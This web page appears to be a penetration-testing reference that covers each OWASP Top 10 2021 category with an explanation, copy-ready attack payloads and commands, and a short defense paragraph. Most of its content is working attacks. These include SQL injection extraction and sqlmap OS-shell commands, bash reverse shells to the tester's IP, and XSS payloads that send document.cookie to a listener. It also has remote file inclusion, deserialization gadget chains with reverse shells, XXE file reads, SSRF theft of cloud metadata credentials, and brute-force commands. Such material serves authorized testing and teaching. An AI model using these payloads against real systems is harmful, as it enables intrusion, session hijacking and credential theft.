OPSECTLAS you are here: OWASP Top 10
library

OWASP Top 10

10 categories 2021 · how it works · where to look · working exploitation · the fix

The ten categories that define web risk, each a working reference and not a definition. Payloads copy line by line; set $_ vars and every command fills with your target and IP.

A01 Broken Access Control critical IDOR · forced browsing · privilege escalation · path traversal
How it works

The application fails to enforce who is allowed to do what. A user can reach data or actions beyond their role by changing an identifier, a parameter, or a URL. IDOR (Insecure Direct Object Reference) is the most common form: an object id in the request points straight at a record with no ownership check. It moved to number one in 2021 because it is everywhere and it is found by hand, not by a scanner.

Where to look

Log in as a low-privilege user, proxy everything through Burp, and look for any identifier you control: numeric ids, UUIDs, usernames, filenames, and role or user_id fields in bodies. Then change them. Two accounts side by side is the cleanest test: capture user A resources, replay them as user B.

Horizontal access (another user's data, same role)

Change the object reference to one you do not own. A 200 with someone else's data confirms it.

Numeric id in the path: walk it toward low ids (admin is often 1)

GET /api/user/1337   ->   GET /api/user/1

Order / invoice history is a classic IDOR sink

GET /api/orders/9812   ->   GET /api/orders/1

Predictable filenames in a download param

GET /download?file=user_1337_invoice.pdf   ->   file=user_1_invoice.pdf

Ownership id in the request body

POST /api/update-profile  {"user_id": 5, ...}   ->   {"user_id": 1, ...}

Try acting on an object you do not own (write-side IDOR)

DELETE /api/post/456

Vertical access (do what a higher role can)

Reach admin functionality as a normal user, or tamper a role field the server trusts.

Mass-assignment: set the role the app forgot to protect

POST /api/update-profile  {"user_id": 5, "role": "admin"}

Call the admin endpoint directly (missing server-side auth check)

POST /api/admin/delete-user  {"target_id": 1}

Forced browsing: hit privileged paths the UI never links you to

GET /admin/

Client-trusted authorization flag in a cookie or hidden field

Cookie: isAdmin=false   ->   isAdmin=true

Path traversal (read files outside the web root)

When a parameter names a file on disk, walk out of the intended directory.

Basic traversal: prove the read, then pivot to config and keys

../../../etc/passwd

URL-encode the slashes when raw ../ is filtered

..%2f..%2f..%2fetc%2fpasswd

Nested traversal: survives a non-recursive strip of ../

....//....//....//etc/passwd

Absolute or deep-relative when the app prepends a base path

/download?file=../../../../etc/shadow

Enumerate ids at scale (Burp Intruder)

Automate the id sweep, then sort by response length or status to spot the hits.

Sweep ids from the shell: match 200, filter the empty-body size

ffuf -u "http://<TARGET>/api/user/FUZZ" -w <(seq 1 2000) -mc 200 -fs 0

Forced-browsing sweep for hidden privileged paths

ffuf -u "http://<TARGET>/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403

defense Enforce authorization server-side on every request, deny by default, and key every object lookup to the authenticated session (never to a client-supplied id or role). Use unpredictable references and reject traversal sequences.

refs OWASP A01:2021 ↗PortSwigger: access control ↗PortSwigger: IDOR ↗

A02 Cryptographic Failures high plaintext data · weak hashing · hardcoded keys · weak TLS
How it works

Sensitive data is exposed because crypto is missing, weak, or misused: secrets sent or stored in the clear, passwords hashed with fast or unsalted algorithms (MD5, SHA1), hardcoded keys in source, or transport that allows downgrade. The impact is disclosure of credentials, tokens, PII, and card data. Formerly named Sensitive Data Exposure.

Where to look

Watch what crosses the wire and what sits in responses, source, and storage. Look for tokens in URLs, secrets in JS bundles and git history, cookies missing Secure, and any hash you can identify. Then crack, decode, or replay.

Find secrets in what the app already gives you

Client-side source, comments, and history leak keys constantly.

Grep the JS bundle for embedded secrets

curl -s http://<TARGET>/main.js | grep -iE "api[_-]?key|secret|token|password|aws_"

Scan a cloned repo for committed keys and tokens

gitleaks detect --source . -v

Hunt live, verified secrets across git history

trufflehog git file://. --only-verified

Exposed .git: pull it, then git log for secrets and old code

curl -s http://<TARGET>/.git/config && wget -r http://<TARGET>/.git/

Identify and crack weak hashes

Recover the hash, name the algorithm, then attack it offline.

Identify the algorithm from the hash format

hashid '<HASH>'   #  or:  hash-identifier

Crack raw MD5 (mode 0). SHA1 = -m 100, bcrypt = -m 3200

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

John autodetects many formats

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Decode Base64 (encoding is not encryption): here admin:admin

echo -n 'YWRtaW46YWRtaW4=' | base64 -d

Inspect transport and cookie protection

Downgradeable TLS and cookies without Secure leak the session.

Enumerate protocols and ciphers: flag SSLv3, TLS 1.0/1.1, weak suites

sslscan <TARGET>:443

Full TLS audit: Heartbleed, ROBOT, weak ciphers, cert issues

testssl.sh https://<TARGET>

Session cookie missing Secure / HttpOnly is interceptable

curl -sI https://<TARGET> | grep -i "set-cookie"

defense Encrypt sensitive data in transit (TLS 1.2+, HSTS) and at rest. Hash passwords with a slow salted KDF (bcrypt, scrypt, Argon2), never MD5/SHA1. Keep keys out of source, rotate them, and never put secrets in URLs.

refs OWASP A02:2021 ↗PortSwigger: JWT attacks ↗

A03 Injection critical SQLi · command injection · XSS · LFI/RFI · NoSQL
How it works

Untrusted input is interpreted as code or query syntax by an interpreter downstream: SQL, the OS shell, the browser (XSS), a file include, or a NoSQL engine. Because the input crosses from data into instructions, the attacker rewrites what the server or the victim's browser does. In 2021 XSS is folded into this category. This is the richest hunting ground in web, so it carries the most depth here.

Where to look

Reach every input: GET and POST params, JSON fields, cookies, and headers (User-Agent, Referer, X-Forwarded-For). Send one metacharacter at a time and watch for errors, changed responses, timing shifts, or reflected content. Confirm the class first, then exploit.

SQLi: detection payloads

One at a time into any parameter. An error, a changed page, or a delay confirms it.

The classic: a single quote breaks an unquoted string context

'

Auth-bypass / always-true tautology

' OR 1=1-- -

Same page then different page = boolean-based injection

1 AND 1=1     vs     1 AND 1=2

Increase the number until it errors: last success = column count

1' ORDER BY 1-- -

A 5s delay = blind injection (MySQL). No visible output needed

' AND SLEEP(5)-- -

SQLi: extraction (union + error + blind)

Once the class is known, pull data. Match your column count from ORDER BY.

Balance columns with NULLs until the page renders

' UNION SELECT NULL,NULL-- -

Fingerprint: current user, DB name, version in visible columns

' UNION SELECT user(),database(),version()-- -

Enumerate tables in the current database

' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -

Dump credentials from the target table

' UNION SELECT username,password FROM users-- -

Error-based: leak data inside the error message (MySQL)

' AND updatexml(1,concat(0x7e,(SELECT version())),1)-- -

Read a file (MySQL, needs FILE privilege)

' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -

SQLi: sqlmap

Automate once you have found the parameter. A saved Burp request is the fastest start.

Point-and-go on a GET parameter

sqlmap -u "http://<TARGET>/page.php?id=1" --batch

From a saved Burp request (mark the injection point with *)

sqlmap -r request.txt --batch

Enumerate databases, then -D <db> --tables, then --dump

sqlmap -u "http://<TARGET>/page.php?id=1" --batch --dbs

Escalate SQLi to an OS shell (stacked queries / file write)

sqlmap -u "http://<TARGET>/page.php?id=1" --os-shell --batch

Aggressive + WAF bypass via tamper scripts

sqlmap -u "http://<TARGET>/page.php?id=1" --level=5 --risk=3 --tamper=between,space2comment --batch

Command injection

Append shell metacharacters to any input that reaches a system command.

Chain a command with ; (also try | , || , && , `id` , $(id) )

;id

Blind confirmation: a 5s delay proves execution

;sleep 5

Out-of-band proof: catch the callback on your listener

;curl http://<YOUR-IP>/hit

Reverse shell (URL-encode when in an HTTP parameter)

;bash -i >& /dev/tcp/<YOUR-IP>/<LPORT> 0>&1

Space filtered? ${IFS} substitutes the separator

cat${IFS}/etc/passwd

Keyword filtered? Break it with quotes: c'a't, ca\t, who$@ami

c'a't /etc/passwd

XSS: confirmation payloads

Reflected, stored, or DOM. Raw tags are never touched by the Variable Console, so these copy exactly.

Baseline: fires when the sink allows a raw script tag

<script>alert(1)</script>

No script tag needed: event handler on a broken image

<img src=x onerror=alert(1)>

Compact, survives many naive filters

<svg onload=alert(1)>

Break out of an attribute value first, then inject

"><script>alert(1)</script>

Show the executing origin (proves context for the report)

"><img src=x onerror=alert(document.domain)>

Case-flip to defeat a case-sensitive blocklist

<ScRiPt>alert(1)</ScRiPt>

XSS: weaponized (steal the session)

Point the exfil at your listener (python3 -m http.server 80). Impact turns a pop-up into a finding.

Quiet exfil of cookies via fetch, base64-wrapped

<script>fetch('http://<YOUR-IP>/?c='+btoa(document.cookie))</script>

Cookie theft when script tags are blocked

<img src=x onerror="this.src='http://<YOUR-IP>/?c='+document.cookie">

Image-beacon exfil, no visible request

<script>new Image().src='http://<YOUR-IP>/?c='+document.cookie</script>

LFI / RFI and PHP wrappers

When a param includes a file, read local files or reach code execution.

Local file read: confirm with /etc/passwd, then hunt configs and keys

?page=../../../../etc/passwd

Read PHP source (Base64) without executing it, then decode

?page=php://filter/convert.base64-encode/resource=index.php

data:// wrapper: inline PHP to RCE (needs allow_url_include)

?page=data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id

Log poisoning: inject PHP via User-Agent, then include the log

?page=/var/log/apache2/access.log&cmd=id

Step 1 of log poisoning: plant the payload in the access log

curl -s http://<TARGET>/ -H 'User-Agent: <?php system($_GET["cmd"]); ?>'

RFI: include remote PHP from your server for direct RCE

?page=http://<YOUR-IP>:8080/rfi_shell.php&cmd=id

NoSQL injection

MongoDB and friends: operators in the query bypass authentication and leak data.

Operator injection in a form body: not-equal bypasses login

username[$ne]=1&password[$ne]=1

Same idea in a JSON body: match any non-null user

{"username": {"$ne": null}, "password": {"$ne": null}}

Blind extraction: brute the password char by char via $regex

{"username": "admin", "password": {"$regex": "^a"}}

defense Never build interpreter strings from input. Use parameterized queries / prepared statements for SQL, avoid the shell (use argument arrays and allowlists), context-encode all output and set a strong CSP for XSS, and disable remote includes and dynamic file paths.

refs OWASP A03:2021 ↗PortSwigger: SQL injection ↗PortSwigger: XSS ↗PortSwigger: OS command injection ↗

A04 Insecure Design high logic flaws · missing limits · abusable workflows
How it works

The flaw is in the design, not a coding bug: a missing control, a trusting workflow, or an abusable business rule. No amount of clean code fixes a feature that was never meant to be safe. Examples: a password reset with no rate limit, a checkout that trusts a client-side price, a coupon that stacks forever, or a multi-step flow you can complete out of order.

Where to look

Think like an abuser of the feature, not a scanner. Map every workflow and ask: what does the server assume the client will not do? Then do exactly that. Replay steps, skip steps, send negative or huge numbers, and race the same action in parallel.

Abuse the business logic

Tamper the values and the order the app trusts you to respect.

Trusted client-side price: set your own total

POST /cart/checkout  {"item": 1, "price": 999.00}   ->   {"price": 0.01}

Negative quantity can credit the balance instead of charging

{"quantity": -5}

Missing single-use / stacking check on a discount

Apply coupon SAVE20 ... then replay the request 20x

Skip a step the server assumed was already done

Complete step 3 without steps 1-2 (POST /flow/confirm directly)

Missing rate limits and anti-automation

If a sensitive action can be repeated fast, it will be.

Brute a 4-digit OTP with no lockout

ffuf -u "http://<TARGET>/verify?otp=FUZZ" -w <(seq -w 0 9999) -mc 200 -fs 0

Hammer password reset: no throttle = enumeration + spam vector

for i in $(seq 1 50); do curl -s -X POST http://<TARGET>/reset -d "email=<USER>"; done

defense Threat-model the feature before building it. Enforce limits, quotas, and single-use on sensitive actions; re-validate every value and every step server-side; and never trust price, role, quantity, or state that came from the client.

refs OWASP A04:2021 ↗PortSwigger: business logic ↗

A05 Security Misconfiguration high default creds · verbose errors · dir listing · XXE · CORS
How it works

The stack is insecure out of the box: default accounts left enabled, admin panels exposed, directory listing on, verbose stack traces, unnecessary services, or permissive CORS. In 2021 XXE (XML External Entity) is folded in here, since it is a parser configuration left dangerously open. These are the fastest wins because you often just have to look.

Where to look

Fingerprint the stack, then check the known soft spots: default logins, exposed admin and status endpoints, backup and config files, error verbosity, security headers, and any XML parser you can feed an entity to.

Fingerprint and surface the config

Content discovery plus header inspection reveals most misconfigurations.

Identify the stack and read response headers

whatweb http://<TARGET> && curl -sI http://<TARGET>

Flags default files, dangerous methods, missing headers, known issues

nikto -h http://<TARGET>

Find backups, configs, and admin paths left on disk

gobuster dir -u http://<TARGET> -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,bak,zip,config,old

Exposed status page / .env file leaks internals and secrets

curl -s http://<TARGET>/server-status && curl -s http://<TARGET>/.env

Default credentials

Try the vendor defaults before anything clever. They work far too often.

The universal shortlist for exposed login panels

admin:admin   admin:password   root:root   tomcat:tomcat

Spray a default-creds list at a protected path

hydra -C /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt <TARGET> http-get /admin

XXE (XML External Entity)

Any endpoint that parses XML you supply: file read, SSRF, and sometimes RCE.

Classic file read via an external entity

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>

Blind / OOB XXE: force the parser to call back to you

<!DOCTYPE r [<!ENTITY x SYSTEM "http://<YOUR-IP>/xxe">]>

Read PHP source through the parser via a filter wrapper

<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">

Permissive CORS

A reflected origin with credentials lets a malicious site read authenticated responses.

If ACAO reflects evil.com and ACAC is true, cross-origin theft is possible

curl -s -I http://<TARGET>/api/me -H "Origin: https://evil.com"

defense Harden and minimize: remove defaults and unused features, disable directory listing and verbose errors, set security headers, lock down CORS to an allowlist, and disable DTD / external entities in every XML parser.

refs OWASP A05:2021 ↗PortSwigger: XXE ↗PortSwigger: CORS ↗

A06 Vulnerable and Outdated Components high known-CVE libraries · unpatched services · dependency risk
How it works

The app runs a component with a public, exploitable vulnerability: an old CMS, an unpatched framework, a stale JS library, or a service version with a known CVE. You do not find a new bug, you match a version to an existing exploit. Log4Shell and countless CMS RCEs live here.

Where to look

Fingerprint every version you can see: server headers, framework banners, JS library versions, CMS generator tags. Then search for a matching public exploit. Precision on the version is the whole game.

Fingerprint versions

Get an exact version string before searching for an exploit.

Aggressive fingerprint: server, framework, CMS, and versions

whatweb -a 3 http://<TARGET>

Read version hints out of the HTML and asset URLs

curl -s http://<TARGET>/ | grep -iE "generator|version|jquery|bootstrap"

Service and version detection across all ports

nmap -sV --script=banner -p- <TARGET>

CMS scanners

Purpose-built enumeration for the common platforms.

WordPress: vulnerable plugins/themes and user enumeration

wpscan --url http://<TARGET> --enumerate vp,u --api-token <WPSCAN-TOKEN>

Drupal version and module enumeration

droopescan scan drupal -u http://<TARGET>

Joomla component and version enumeration

joomscan --url http://<TARGET>

Match to a public exploit

Turn the version into a working exploit path.

Local Exploit-DB search by product and version

searchsploit apache 2.4.49

Copy an exploit locally to read and run it

searchsploit -m 50383

Broad vuln-script sweep for known-CVE services

nmap --script vuln -p- <TARGET>

defense Maintain a live inventory (SBOM), track advisories for every dependency, and patch on a schedule. Remove unused components and pin versions so an audit is possible.

refs OWASP A06:2021 ↗Exploit-DB ↗

A07 Identification and Authentication Failures high brute force · credential stuffing · weak session · JWT flaws
How it works

Authentication is weak or breakable: no brute-force protection, weak or default passwords, username enumeration, guessable or fixated sessions, broken password reset, or flawed JWT validation. Once identity is forgeable, every other control downstream is moot.

Where to look

Probe the login and account-recovery flows: does it reveal whether a user exists? Does it lock out? Is the session token predictable or accepted after logout? Inspect any JWT for a weak or none algorithm.

Enumerate users, then brute / spray

Different responses for valid vs invalid users make brute force efficient.

Username enumeration: filter the "no such user" response

ffuf -u http://<TARGET>/login -X POST -d "user=FUZZ&pass=x" -w users.txt -fr "Invalid username"

Brute force with a failure string as the negative marker

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

Password brute against a service (ssh, ftp, rdp, ...)

hydra -l <USER> -P passwords.txt <TARGET> ssh

Credential stuffing / spraying beats per-account lockouts

Spray one password across many users (avoid lockout)

Session weaknesses

A token that is guessable, fixated, or valid after logout is a full bypass.

Session not invalidated on logout = reusable session

Log in, note the cookie, log out, replay the old cookie

Fixation: the app keeps your pre-auth session after login

Set a known session id before login, see if it persists (fixation)

Measure token entropy: low randomness = predictable sessions

burpsuite -> Sequencer on the session token

JWT attacks

Inspect the token, then attack the algorithm or the signing key.

Decode the payload: read the claims (role, exp, user)

echo <JWT> | cut -d. -f2 | base64 -d

alg:none attack: strip the signature if the server trusts it

python3 jwt_tool.py <JWT> -X a

Crack a weak HS256 secret offline, then forge any token

hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

defense Enforce MFA, rate-limit and lock out brute force, and ban weak or breached passwords. Issue high-entropy session tokens, rotate on login, invalidate on logout, and validate JWT algorithm and signature strictly server-side.

refs OWASP A07:2021 ↗PortSwigger: authentication ↗

A08 Software and Data Integrity Failures high insecure deserialization · unsigned updates · CI/CD trust
How it works

The app trusts code or data whose integrity it never verified: unsigned updates, plugins from untrusted sources, a compromised build pipeline, or serialized objects accepted from the client. Insecure deserialization is the flagship: a crafted serialized blob triggers code execution when the server rebuilds the object.

Where to look

Look for serialized data crossing a trust boundary: base64 blobs in cookies and parameters, __VIEWSTATE, Java or PHP or Python serialized formats, and any auto-update or plugin mechanism that does not check a signature.

Spot serialized data

Recognize the format before you attack it.

A cookie/param starting rO0AB is a Java object

rO0AB...   ->   Java serialized (base64 of 0xACED0005)

PHP serialize() output, often in a cookie

O:4:"User":2:{...}   ->   PHP serialized object

Decode and inspect the magic bytes to identify the format

echo <BLOB> | base64 -d | xxd | head

Exploit deserialization

Generate a gadget-chain payload, then deliver it where the blob is parsed.

Java: build an RCE gadget chain (pick the chain that matches libs)

java -jar ysoserial.jar CommonsCollections5 'bash -i >& /dev/tcp/<YOUR-IP>/<LPORT> 0>&1' | base64

PHP: generate a gadget-chain payload (base64) with PHPGGC

phpggc Symfony/RCE4 system id -b

Python: a pickle that runs id on load (never unpickle untrusted data)

python3 -c "import pickle,os,base64;print(base64.b64encode(pickle.dumps(type('x',(),{'__reduce__':lambda s:(os.system,('id',))})())).decode())"

defense Never deserialize untrusted data; if you must, use a data-only format (JSON) with strict schemas and no object instantiation. Sign and verify updates and artifacts, pin dependencies by hash, and secure the CI/CD pipeline.

refs OWASP A08:2021 ↗PortSwigger: deserialization ↗

A09 Security Logging and Monitoring Failures medium no audit trail · missed alerts · slow detection
How it works

Attacks are not logged, alerts do not fire, and no one is watching, so breaches go undetected for months. This rarely gives direct access, but it shapes the engagement: it is why loud attacks succeed, and it is a real, reportable finding. As an operator, it also tells you how much noise you can make.

Where to look

Test whether meaningful events are recorded and surfaced: failed logins, access-control denials, input validation failures, and admin actions. Trigger them and ask the defender (or check the logs on an assumed-breach engagement) whether anything registered.

Probe detection coverage

Generate the events a competent SOC should catch, then see if they did.

20 failed logins: is there any lockout, alert, or log entry?

for i in $(seq 1 20); do curl -s -o /dev/null http://<TARGET>/login -d "user=admin&pass=wrong$i"; done

An obvious attack string: does a WAF or monitor react?

curl -s "http://<TARGET>/?q=' OR 1=1-- -"

Assumed-breach: confirm whether your actions were recorded at all

grep -riE "fail|denied|error" /var/log/ 2>/dev/null | tail

defense Log auth, access-control, and validation failures with enough context to trace them, ship logs to a tamper-resistant store, alert on suspicious patterns in near-real-time, and rehearse incident response so alerts lead to action.

refs OWASP A09:2021 ↗

A10 Server-Side Request Forgery (SSRF) high cloud metadata · internal port scan · protocol smuggling
How it works

The server can be tricked into making requests to a destination the attacker chooses. Any feature that fetches a URL (webhooks, PDF/image generators, URL previews, imports) is a candidate. Because the request originates from inside, it reaches internal services, and on cloud it reaches the metadata endpoint that hands out credentials.

Where to look

Find every input that becomes a server-side request: url=, image=, webhook, callback, next. Point it at yourself first to confirm the server fetches it, then pivot to internal addresses, localhost, and the cloud metadata IP.

Confirm and map internal reach

Prove the server fetches your URL, then turn it inward.

First: point it at your listener to confirm a server-side fetch

url=http://<YOUR-IP>/ssrf-probe

Reach loopback services the firewall hides from outside

url=http://127.0.0.1:80/   (then 8080, 6379, 3306, 8000)

Internal port scan via SSRF: response differences reveal open ports

ffuf -u "http://<TARGET>/fetch?url=http://127.0.0.1:FUZZ" -w <(seq 1 10000) -fs 0

Cloud metadata (credential theft)

The 169.254.169.254 endpoint returns temporary cloud credentials to anything inside.

AWS: list the IAM role, then append the role name for keys

url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

AWS: retrieve AccessKeyId, SecretAccessKey, and Token

url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

GCP metadata (needs the Metadata-Flavor header)

url=http://metadata.google.internal/computeMetadata/v1/   (Header: Metadata-Flavor: Google)

Bypass SSRF filters

When localhost or the metadata IP is blocklisted, encode around it.

Alternate encodings of 127.0.0.1 (decimal, IPv6, short forms)

http://127.1/   http://0/   http://[::]/   http://2130706433/

DNS rebinding / attacker-controlled name resolving inward

http://localhost.<YOUR-DOMAIN>/   (DNS record -> 127.0.0.1)

Protocol smuggling: gopher:// to talk to Redis/SMTP internally

gopher://127.0.0.1:6379/_<REDIS-PAYLOAD>

defense Do not fetch user-supplied URLs; if you must, allowlist the destination host and scheme, resolve and validate the IP (block private and link-local ranges), disable redirects and unused protocols, and require the metadata service to use session tokens (IMDSv2).

refs OWASP A10:2021 ↗PortSwigger: SSRF ↗